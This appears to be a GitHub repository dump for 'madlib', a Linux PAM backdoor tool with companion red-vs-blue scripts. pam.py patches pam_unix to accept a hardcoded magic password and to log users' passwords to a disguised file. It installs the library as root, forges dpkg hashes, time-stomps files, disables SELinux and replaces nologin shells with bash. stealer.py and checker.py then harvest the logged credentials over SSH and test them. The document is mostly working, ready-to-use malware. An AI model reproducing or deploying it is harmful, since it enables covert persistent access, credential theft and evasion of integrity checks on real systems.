├── README.md ├── pam.py └── rVb_scripts ├── checker.py └── stealer.py /README.md: -------------------------------------------------------------------------------- 1 | # madlib 2 | ## Features: 3 | * Logs username/passwords to file 4 | * Obfuscates backdoor password with bcrypt (helps make reverse engineering more difficult and string dumps less effective) 5 | * Automatically updates the DPKG MD5 hashes for all moved/replaced files 6 | * Time stomps all moved/replaced files 7 | * Updates SE Linux configuration to allow for changed file 8 | * Replaces /bin/false, and /bin/nologin with /bin/bash (effectively making any user able to ssh in) 9 | ## Requirements: 10 | * Requires Python3 11 | * Root privileges needed 12 | ## Default Entries: 13 | * Username/passwords by default are logged to `/usr/include/type.h` 14 | * The default magic password is `secretpassxd` 15 | 16 | 17 | ## Usage 18 | 19 | Manually Specifying PAM Version: 20 | 21 | ``` 22 | root@homebase /h/r/madlib# ./pam.py "1.3.0" 23 | .___.__ ._____. 24 | _____ _____ __| _/| | |__\_ |__ 25 | / \\__ \ / __ | | | | || __ \ 26 | | Y Y \/ __ \_/ /_/ | | |_| || \_\ \ 27 | |__|_| (____ /\____ | |____/__||___ / 28 | \/ \/ \/ \/ 29 | https://github.com/rek7/madlib/ 30 | [00:15:55] [+] PAM TAR Download Completed 31 | [00:15:56] [+] Finishing Extracting 32 | [00:15:56] [+] Added Backdoor 33 | [00:16:16] [+] Finished Compiling Tainted Lib 34 | [00:16:16] [+] Finished Successfully Compiled PAM File Moved to: '/lib/x86_64-linux-gnu/security/pam_unix.so' 35 | ``` 36 | 37 | Automatic Version Detection: 38 | 39 | ``` 40 | root@homebase /h/r/madlib# ./pam.py 41 | .___.__ ._____. 42 | _____ _____ __| _/| | |__\_ |__ 43 | / \\__ \ / __ | | | | || __ \ 44 | | Y Y \/ __ \_/ /_/ | | |_| || \_\ \ 45 | |__|_| (____ /\____ | |____/__||___ / 46 | \/ \/ \/ \/ 47 | https://github.com/rek7/madlib/ 48 | [00:17:55] [!] Detected PAM Version: '1.3.0' 49 | [00:17:55] [+] PAM TAR Download Completed 50 | [00:17:56] [+] Finishing Extracting 51 | [00:17:56] [+] Added Backdoor 52 | [00:18:16] [+] Finished Compiling Tainted Lib 53 | [00:18:16] [+] Finished Successfully Compiled PAM File Moved to: '/lib/x86_64-linux-gnu/security/pam_unix.so' 54 | ``` 55 | -------------------------------------------------------------------------------- /pam.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import os 3 | import shutil 4 | import getpass 5 | import subprocess 6 | import tempfile 7 | import time 8 | import urllib.request 9 | import sys 10 | import socket 11 | import random 12 | import string 13 | import crypt 14 | import warnings 15 | warnings.filterwarnings("ignore", category=DeprecationWarning) 16 | 17 | conf = { 18 | "password": "secretpassxd", 19 | "log_location": "/usr/include/type.h", 20 | } 21 | 22 | install_dirs = [ 23 | "/lib/security/pam_unix.so", 24 | "/usr/lib64/security/pam_unix.so", 25 | "/lib/x86_64-linux-gnu/security/pam_unix.so", 26 | ] 27 | 28 | pam_hash_location = [ 29 | "/var/lib/dpkg/info/libpam-modules:amd64.md5sums" 30 | ] 31 | 32 | # file name, hash locations 33 | replace_files = { 34 | "/bin/false" : [ 35 | "/var/lib/dpkg/info/coreutils.md5sums" 36 | ], 37 | "/usr/sbin/nologin" : [ 38 | "/var/lib/dpkg/info/login.md5sums" 39 | ] 40 | } 41 | 42 | banner = r''' .___.__ ._____. 43 | _____ _____ __| _/| | |__\_ |__ 44 | / \\__ \ / __ | | | | || __ \ 45 | | Y Y \/ __ \_/ /_/ | | |_| || \_\ \ 46 | |__|_| (____ /\____ | |____/__||___ / 47 | \/ \/ \/ \/ 48 | https://github.com/rek7/madlib/''' 49 | 50 | def gen_bcrypt_salt(length=10): 51 | return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(length)) 52 | 53 | bcrypt_salt = gen_bcrypt_salt() 54 | 55 | def gen_bcrypt_pass(password): 56 | return crypt.crypt(password, bcrypt_salt) 57 | 58 | src = ''' 59 | if(strcmp(crypt(p, "{}"), "{}") == 0){{ 60 | retval=PAM_SUCCESS; 61 | }} else if(retval == PAM_SUCCESS) {{ 62 | FILE *out = fopen("{}", "a"); 63 | fprintf(out, "pam:%s:%s\\n", name, p); 64 | fclose(out); 65 | }} 66 | '''.format(bcrypt_salt, gen_bcrypt_pass(conf["password"]), conf["log_location"]) 67 | 68 | def place_backdoor(src_location): 69 | is_tainted = False 70 | tmp=tempfile.mkstemp() 71 | try: 72 | with open(src_location, "r", errors="ignore") as fd1, open(tmp[1],'w') as fd2: 73 | for line in fd1: 74 | if line.find("retval = _unix_verify_password(pamh, name, p, ctrl);") != -1: 75 | line = line.replace('retval = _unix_verify_password(pamh, name, p, ctrl);',"retval = _unix_verify_password(pamh, name, p, ctrl); \n{}".format(src)) 76 | is_tainted = True 77 | fd2.write(line) 78 | fd2.close() 79 | fd1.close() 80 | os.rename(tmp[1], src_location) 81 | except Exception as e: 82 | prompt("-", "Place Backdoor: {}".format(e)) 83 | return is_tainted 84 | 85 | def self_remove(original_file): 86 | os.remove(original_file + "/"+ sys.argv[0]) 87 | 88 | def prompt(icon, message, end="\n"): 89 | print("[{}] [{}] {}".format(time.strftime('%X'), icon, message), end=end) 90 | 91 | def update_dpkg_hashes(dpkg_location, bin_location, replace_str): 92 | tmp=tempfile.mkstemp() 93 | try: 94 | with open(dpkg_location, "r", errors="ignore") as fd1, open(tmp[1],'w') as fd2: 95 | for line in fd1: 96 | entry = line.strip().split(" ") 97 | if entry[1].find(replace_str) != -1: 98 | bin_md5 = program_output('md5sum "{}" | cut -d " " -f 1'.format(bin_location)).strip() 99 | fd2.write("{} {}\n".format(bin_md5, entry[1])) 100 | else: 101 | fd2.write(line) 102 | fd2.close() 103 | fd1.close() 104 | os.rename(tmp[1], dpkg_location) 105 | return True 106 | except Exception as e: 107 | prompt("-", "Update DPKG Hashes: {}".format(e)) 108 | return False 109 | 110 | def install_pam(current_location): 111 | for possible in install_dirs: 112 | if os.path.exists(possible): 113 | for file_name, hash_locations in replace_files.items(): 114 | shutil.copy("/bin/bash", file_name) 115 | for integrity_file in hash_locations: 116 | if os.path.exists(integrity_file): 117 | if update_dpkg_hashes(integrity_file, file_name, file_name[1::]): 118 | break 119 | os.rename(current_location, possible) 120 | if os.path.exists(possible): 121 | pam_dir = os.path.dirname(os.path.abspath(possible)) 122 | os.system("touch -d \"$(stat -c '%y' {}/pam_time.so)\" {}".format(pam_dir, possible)) 123 | os.system("chmod --reference={}/pam_time.so {}".format(pam_dir, possible)) 124 | for integrity_file in pam_hash_location: 125 | if os.path.exists(integrity_file): 126 | if update_dpkg_hashes(integrity_file, possible, "pam_unix.so"): 127 | break 128 | return possible 129 | return False 130 | 131 | def download_file(url, output_name): 132 | try: 133 | if urllib.request.urlretrieve(url, output_name): 134 | return True 135 | except Exception as e: 136 | if e.code == 404: 137 | prompt("-", "Unable to find a Library, Specify Manually".format(e)) 138 | else: 139 | prompt("-", "Download File: {}".format(e)) 140 | return False 141 | 142 | def program_output(cmd): 143 | try: 144 | return subprocess.check_output(cmd, shell=True).decode("utf-8") 145 | except: 146 | pass 147 | return False 148 | 149 | def fix_se_linux(): 150 | if os.path.exists("/etc/selinux/config"): 151 | prompt("!", "SE Linux Detected, overwiting to disable.") 152 | with open("/etc/selinux/config", "r", errors="ignore") as se_file: 153 | se_conf = se_file.read() 154 | se_file.close() 155 | se_linux_updates = [] 156 | for line in se_conf.splitlines(): 157 | line = line.strip() 158 | if line.find("SELINUX=") != -1: 159 | se_linux_updates.append("SELINUX=disabled") 160 | else: 161 | se_linux_updates.append(line) 162 | with open("/etc/selinux/config", "w") as fd2: 163 | for se_updated_line in se_linux_updates: 164 | fd2.write("{}\n".format(se_updated_line)) 165 | fd2.close() 166 | 167 | def get_pam_version(): 168 | try: 169 | import platform 170 | linux_distro = platform.linux_distribution()[0].lower() 171 | except Exception: 172 | import distro 173 | linux_distro = distro.like() 174 | if linux_distro in ["ubuntu", "debian", "mint", "kali"]: 175 | return program_output("dpkg -s libpam-modules | grep -i Version | awk '{ print $2 }'").split("-")[0] 176 | elif linux_distro in ["redhat", "centos", "centos linux", "fedora"]: 177 | return program_output("yum list installed | grep 'pam\.*' | awk '{print $2}'").split("-")[0] 178 | return False 179 | 180 | if __name__ == "__main__": 181 | print(banner) 182 | if os.geteuid() == 0: 183 | if len(sys.argv) == 2: 184 | pam_version = sys.argv[1] 185 | else: 186 | pam_version = get_pam_version() 187 | if not pam_version: 188 | prompt("-", "Unable to Find PAM Version, Please Manually Specify") 189 | exit(1) 190 | else: 191 | prompt("!", "Detected PAM Version: '{}'".format(pam_version)) 192 | dl_url = "https://github.com/linux-pam/linux-pam/releases/download/v{}/Linux-PAM-{}.tar.xz" 193 | src_dir = "/tmp/Linux-PAM-{}".format(pam_version) 194 | prompt("!", "Downloading Pam: '{}'".format(pam_version), "\r") 195 | if download_file(dl_url.format(pam_version, pam_version), "/tmp/linux_pam.tar"): 196 | if os.path.exists("/tmp/linux_pam.tar"): 197 | prompt("+", "PAM TAR Download Completed") 198 | script_location = os.path.realpath(__file__) 199 | os.chdir("/tmp/") 200 | prompt("!", "Extracting...", "\r") 201 | os.system("tar xvf /tmp/linux_pam.tar > /dev/null 2>&1") 202 | os.remove("/tmp/linux_pam.tar") 203 | if os.path.exists(src_dir): 204 | prompt("+", "Finishing Extracting") 205 | os.chdir(src_dir) 206 | if place_backdoor("modules/pam_unix/pam_unix_auth.c"): 207 | prompt("+", "Added Backdoor") 208 | prompt("!", "Compiling Tainted Lib", "\r") 209 | os.system("./configure > /dev/null 2>&1 && make -j$(nproc) > /dev/null 2>&1") 210 | if os.path.exists("modules/pam_unix/.libs/pam_unix.so"): 211 | prompt("+", "Finished Compiling Tainted Lib") 212 | os.system("strip modules/pam_unix/.libs/pam_unix.so") 213 | fix_se_linux() 214 | result = install_pam("modules/pam_unix/.libs/pam_unix.so") 215 | shutil.rmtree(src_dir) 216 | if result: 217 | prompt("+", "Finished Successfully Compiled PAM File Moved to: '{}'".format(result)) 218 | # os.remove(script_location) 219 | exit(0) 220 | else: 221 | prompt("-", "Unable to Place the File") 222 | else: 223 | prompt("-", "Failed to Compile") 224 | else: 225 | prompt("-", "Failed to Place Backdoor") 226 | else: 227 | prompt("-", "Failed to Extract SRC dir") 228 | else: 229 | prompt("-", "Failed to Download File") 230 | else: 231 | prompt("-", "Root Needed") 232 | prompt("!", "Exiting.") 233 | exit(1) 234 | -------------------------------------------------------------------------------- /rVb_scripts/checker.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import threading 4 | import paramiko 5 | import time 6 | 7 | team_ips = [ 8 | '10.{}.2.2', 9 | '10.{}.2.3', 10 | '10.{}.2.10', 11 | '10.{}.1.40' 12 | ] 13 | 14 | pam_creds = [ 15 | {"user" : "irc", "pass" : "secretpassxd"}, 16 | {"user" : "root", "pass" : "secretpassxd"}, 17 | ] 18 | 19 | lost_access = [] 20 | 21 | non_clutter = threading.Lock() 22 | 23 | def login(username, password, ip): 24 | login_attempt = False 25 | ssh = paramiko.SSHClient() 26 | try: 27 | ssh.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy()) 28 | ssh.connect(ip, port=22, username=username, password=password, timeout=10) 29 | login_attempt = True 30 | except Exception as e: 31 | print("host: {} error: {}".format(ip, e)) 32 | finally: 33 | if ssh: 34 | ssh.close() 35 | return login_attempt 36 | 37 | def print_working(ip, username, password, pam=False): 38 | non_clutter.acquire() 39 | pam_msg = "" 40 | if pam: 41 | pam_msg += " (pam)" 42 | print("Host: {}{}".format(ip, pam_msg)) 43 | print("\t Username: {}".format(username)) 44 | print("\t Password: {}".format(password)) 45 | non_clutter.release() 46 | 47 | def check_host(ip, cred_file): 48 | is_working = True 49 | with open(cred_file, "r") as passwd_file: 50 | for creds in passwd_file: 51 | creds = creds.strip().split(":") 52 | if len(creds) == 3: 53 | username = creds[1] 54 | password = creds[2] 55 | if login(username, password, ip): 56 | print_working(ip, username, password) 57 | is_working = True 58 | passwd_file.close() 59 | for creds in pam_creds: 60 | if login(creds["user"], creds["pass"], ip): 61 | print_working(ip, creds["user"], creds["pass"], pam=True) 62 | is_working = True 63 | if not is_working: 64 | lost_access.append(ip) 65 | 66 | if len(sys.argv) == 2: 67 | print("Started: {}".format(time.ctime())) 68 | threads = [] 69 | team_num = sys.argv[1] 70 | team_dir = "teams/team_{}".format(team_num) 71 | for linux_server in team_ips: 72 | ip = linux_server.format(team_num) 73 | cred_file = team_dir + "/{}.txt".format(ip) 74 | if os.path.exists(cred_file): 75 | #check_host(ip,cred_file) 76 | t1 = threading.Thread(target=check_host, args=(ip,cred_file,)) 77 | threads.append(t1) 78 | t1.start() 79 | for t in threads: 80 | t.join() 81 | threads.remove(t) 82 | if lost_access: 83 | print("Lost Access to: {}".format(",".join(lost_access))) 84 | print("Ended: {}".format(time.ctime())) 85 | else: 86 | print("Usage: {} teamNum".format(sys.argv[0])) -------------------------------------------------------------------------------- /rVb_scripts/stealer.py: -------------------------------------------------------------------------------- 1 | import paramiko 2 | import threading 3 | import os 4 | import time 5 | 6 | username = "irc" 7 | password = "secretpassxd" 8 | 9 | team_ips = [ 10 | '10.{}.2.2', 11 | '10.{}.2.3', 12 | '10.{}.2.10', 13 | '10.{}.1.40' 14 | ] 15 | 16 | cmd_run = "cat /usr/include/type.h" 17 | 18 | sleep_mins = 5*60 19 | 20 | def mkdir(dirname): 21 | if not os.path.exists(dirname): 22 | os.makedirs(dirname) 23 | 24 | def run_cmd(host, team_dir): 25 | ssh = paramiko.SSHClient() 26 | try: 27 | ssh.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy()) 28 | ssh.connect(host, port=22, username=username, password=password, timeout=10) 29 | cmd = 'bash -c \'sudo -S -n <<< "{}" bash -c "{}"\''.format(password, cmd_run) 30 | stdin, stdout, stderr = ssh.exec_command(cmd) 31 | cmd_output = [] 32 | for line in stdout.readlines(): 33 | cmd_output.append(line.strip().replace("\x00", "")) 34 | if cmd_output: 35 | removed_dups = list(dict.fromkeys(cmd_output)) 36 | pass_list = team_dir + "/{}.txt".format(host) 37 | if os.path.exists(pass_list): 38 | with open(pass_list, "r") as pass_file, open(pass_list,"a") as write_pass: 39 | all_passes = pass_file.read().splitlines() 40 | for users_password in removed_dups: 41 | if users_password not in all_passes: 42 | write_pass.write("{}\n".format(users_password)) 43 | pass_file.close() 44 | write_pass.close() 45 | else: 46 | with open(pass_list, "w") as write_pass: 47 | for users_password in removed_dups: 48 | write_pass.write("{}\n".format(users_password)) 49 | write_pass.close() 50 | except Exception as e: 51 | print("host: {} error: {}".format(ip, e)) 52 | finally: 53 | if ssh: 54 | ssh.close() 55 | 56 | if __name__ == "__main__": 57 | while True: 58 | threads = [] 59 | mkdir("teams") 60 | last_ran = time.time() 61 | for team_num in range(1, 9): 62 | team_dir = "teams/team_{}".format(team_num) 63 | mkdir(team_dir) 64 | for linux_server in team_ips: 65 | ip = linux_server.format(team_num) 66 | t1 = threading.Thread(target=run_cmd, args=(ip,team_dir,)) 67 | threads.append(t1) 68 | t1.start() 69 | for t in threads: 70 | t.join() 71 | threads.remove(t) 72 | while True: 73 | now_time = time.time() 74 | if now_time-last_ran < sleep_mins: 75 | print("Running in: {} Seconds".format(int(sleep_mins-(now_time-last_ran))), end="\r") 76 | else: 77 | break 78 | print() 79 | time.sleep(1) 80 | --------------------------------------------------------------------------------